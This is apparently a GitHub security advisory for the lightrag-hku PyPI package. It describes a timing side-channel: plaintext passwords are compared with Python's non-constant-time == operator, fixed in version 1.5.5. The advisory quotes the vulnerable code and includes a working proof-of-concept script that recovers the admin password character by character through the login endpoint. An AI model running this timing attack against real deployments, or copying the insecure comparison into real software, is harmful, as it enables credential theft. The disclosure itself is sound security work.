GitHub Advisoryadvisory · PyPI

GHSA-c759-cx9p-mrwq lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

MEDIUM Published 2026-09-22 Modified 2026-09-22 Official page ↗
Aliases
CVE-2026-85725
Ecosystem
PyPI
Packages
lightrag-hku
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-208
Reviewed
2026-09-22

Affected packages

• PyPI lightrag-hku: < 1.5.5 → fixed in 1.5.5

Description

Summary When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character. Details ```python lightrag/api/passwords.py:13-26 def verify_password(plain_password: str, stored_password: str) -> bool: if stored_password.startswith("{bcrypt}"): ... return bcrypt.checkpw(...) # constant-time OK return stored_password == plain_password # NOT constant-time VULN # Python == short-circuits on first mismatched byte # Timing leaks: password length + individual characters ``` PoC ```python Timing oracle: recover password char-by-char import httpx, time, string TARGET = "http://:9621/login" USER = "admin" def measure(pwd: str) -> float: t = time.perf_counter() httpx.post(TARGET, data={"username": USER, "password": pwd}) return time.perf_counter() - t known = "" for _ in range(32): best = max(string.printable, key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10))) known += best print(f"Recovered: {known}") ``` Impact Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Related

Alias · CVE (1)

  • CVE-2026-85725 LightRAG provides simple and fast retrieval-augmented generation. vulnerability

Weakness · CWE (1)

  • CWE-208 Observable Timing Discrepancy weakness

References